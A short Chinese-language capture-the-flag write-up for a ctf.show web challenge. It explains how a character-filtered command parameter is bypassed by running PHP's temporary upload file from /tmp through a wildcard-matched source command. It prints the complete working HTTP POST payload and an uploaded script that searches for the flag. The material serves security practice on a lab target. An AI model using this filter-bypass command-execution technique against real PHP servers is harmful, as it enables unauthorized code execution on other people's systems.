【ctf.show】【web】红包题第二弹 1
右键查看源码发现hint,?cmd,尝试命令执行发现被过滤。

可用字符如下:p . / = < > ? `
PHP上传机制:
在php中,使用Content-Type: multipart/form-data;上传文件时,会将它保存在临时文件中,在php的配置中upload_tmp_dir参数为保存临时文件的路经,linux下面默认为/tmp。也就是说只要php接收上传请求,就会生成一个临时文件。如果具有上传功能,那么会将这个文件拷走储存。无论如何在执行结束后这个文件会被删除。并且php每次创建的临时文件名都有固定的格式,为phpXXXX.tmp(Windows中)、php**.tmp(Linux中)。
使用如下payload:
POST /?cmd=?><?=`.+/??p/p?p??????`; HTTP/1.1
Host: bd615076-ca11-4fed-8ff2-3e3969391e5f.challenge.ctf.show
Content-Length: 217
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="fileUpload"; filename="1.txt"
Content-Type: text/plain
#bin/bash
echo `find / -name flag*`;
------WebKitFormBoundary7MA4YWxkTrZu0gW--
cmd中的代码将上一部分的代码直接闭合了,然后利用短标签写法和.(linux系统中的source命令的另一种写法,source命令能执行sh脚本),+号等于空格,?是占位符表示一个字符。反引号的内容就相当于执行了模糊匹配到的文件里的内容。所以能够匹配到前面php上传机制中的php**.tmp。再来看payload,直接上传了一个文件,里面替换为自己要执行的脚本即可。



浙公网安备 33010602011771号